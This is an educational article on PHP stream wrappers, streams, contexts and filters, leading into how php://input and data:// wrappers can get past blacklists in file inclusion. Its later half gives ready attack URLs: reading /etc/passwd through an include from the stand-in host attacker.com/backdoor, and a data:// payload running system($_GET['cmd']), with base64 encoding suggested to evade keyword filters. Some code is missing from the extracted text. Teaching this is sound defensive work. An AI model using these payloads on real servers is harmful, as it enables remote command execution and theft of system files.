Introduced in PHP 4.3, streams are little known powerful resources that PHP provides. In this article, we will explore ways to bypass protection methods using the PHP Stream Wrappers, which are responsible for handling protocol related tasks like downloading data from a web or ftp server and exposing it in a way in that it can be handled with PHP's stream related functions. First, let's define the key words, such as 'stream' and 'wrappers'. ## What is a Stream in IT? In technical terms, a 'stream' is the name given to the transmission of data from source to target. The source and the target might be of various forms: a file, a TCP/IP or a UDP network connection, a standard input and output, a file transfer at a file server or a file archiving process. Even though those streams seem to be heavily different from each other, they have a common thread: they are all basically read and write processes. You either write data from a source to a target, or you transmit the data you read from the source to the target. It might look something like this: 1. Connection established 2. Data read 3. Data written 4. Connection ended Even though the basic actions are to read and write, there are additional actions that need to happen in order to reach a web server or archive a file, or to do a simple input and output process, or establish a connection through TCP/IP or UDP. ## Generic Functions in Streaming Operations PHP has some generic functions that enable you to interact with streams: * file * open * fwrite * fclose * file_get_contents * file_put_contents In PHP, you use generic functions to perform the various streaming operations without the hassle of using individual functions, making the entire process easier. Until today, these functions were mostly part of the stream concept and used in file read-write processes. We can now use wrappers in PHP to do various streaming processes such as HTTP, FTP, SOCKET processes, and standard input/output processes. If you want to work with streams, you need to specify their type and target in a specific format. The stream type weall use in our generic functions is defined like this: :// The placeholder specifies the stream type weall use, for example File, FTP, PHPOUTPUT, PHPINPUT, HTTP or SSL. If you are a PHP programmer, the following code will be familiar. It reads the some.txt file and prints its content. array( 'method' => 'POST', 'header' => 'Content-type: application/json;charset=utf-8;\r\n'. 'Content-Length: '.mb_strlen($postdata), 'content' => $postdata ) ); $context = stream_context_create($opts); $response = file_get_contents('http://www.example.com/news.php', false, $context); As seen above, Stream-Context is actually an array. The key value above indicates the wrapper type (in this case HTTP) thatall be used in the context. Each wrapper has individual context parameters. You can read more about them in the [PHP documentation](http://php.net/manual/en/wrappers.php). ## PHP Stream Filters We've examined the read and write processes of the streams. The stream wrappersa main advantage is that data can be modified, changed, or deleted during the read/write process, on the fly. PHP provides a few streaming filters. These are, _string.toupper_, _string.tolower_, _string.rot13_, and _string.strip_tags_. Various custom filters may be used in addition to these. We can apply filters on streams using the _stream_append_filter_ function. For example, the filter below will convert all the sentences read to uppercase: '; Therefore the new link the attacker needs to supply is: _http://www.attacker.com/backdoor_. And this is the link the attacker needs to visit in order to execute the attack: http://example.com/?cmd=cat%20/etc/passwd&go=http%3A%2F%2Fwww.attacker.com%2Fbackdoor PHP will evaluate this code as follows: As seen above, even though the _http://_ and _file://_ wrappers were filtered out, the _php://input_ wrapper was used to exploit the vulnerability. Even if the developer blacklists the _php://_ wrapper and the other PHP commands that allows system level command execution (_system, cmd_), there are still ways to override the barriers. The _data://_ wrapper may be used in this case. It's job to transmit the input passed to it as type and value, to the PHP stream functions. The code above was: `data://text/plain, This is how the URL encoded version of the final request looks like. data%3a%2f%2ftext%2fplain%2c+%3c%3fphp+system(%24_GET%5b%22cmd%22%5d)%3b+%3f%3ehttp://www.example.com/?go=data%3a%2f%2ftext%2fplain%2c+%3c%3fphp+system(%24_GET%5b%22cmd%22%5d)%3b+%3f%3e With the _cmd_ parameter, any code request to be executed will be sent. For example, to get the system information, you can use _uname -a_ but you have to encode it first. The URL used to attack: http://www.example.com/?cmd=uname+-a&go=data%3a%2f%2ftext%2fplain%2c+<%3fphp+system(%24_GET%5b"cmd"%5d)%3b+%3f> We forgot that the developer blacklisted the keywords like system and cmd. What can you do instead? Thankfully the _data://_ wrapper supports base64 and rot13 encoding. Therefore, you have to encode the PHP code youall use to exploit the vulnerability in base64 and make the following request: PHP code: